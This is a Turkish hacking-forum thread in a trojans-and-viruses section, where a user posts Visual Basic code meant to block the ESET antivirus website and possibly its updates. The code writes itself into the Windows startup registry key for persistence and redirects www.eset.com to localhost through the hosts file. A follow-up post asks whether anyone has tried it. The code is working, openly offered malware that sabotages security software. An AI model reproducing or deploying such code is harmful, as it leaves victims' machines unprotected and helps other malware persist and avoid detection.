THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

takipci
chat
Seçenekler

eset antivirus güncelleme engelleme

Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.358
Konular:
207
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Ticaret:
(0) %
1
680
30-03-2016 22:49
#1
eset antivirus güncelleme engelleme
bu program eset antivirusun sitesini engelliyor arkadaşlar belki guncellen mesinide engeller merak edenler için kodu aşağıda




Kod:
Private Sub Form_Load()
Dim Startup_key As String

Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"

Dim Reg As Object

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Dim dizin As String
Dim yerayır As String
Dim site As String
Dim site2 As String
dizin = Environ("windir") & "\system32\drivers\etc\hosts"
Open dizin For Binary As 1
yerayır = Space(FileLen(dizin))
Get 1, , yerayır
Close 1
site = vbNewLine & "127.0.0.1 www.eset.com "

Open dizin For Binary As 1
Put 1, , yerayır & site
Close 1
End Sub
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.358
Konular:
207
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Ticaret:
(0) %
30-03-2016 22:56
#2
deneyen vrmı?

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler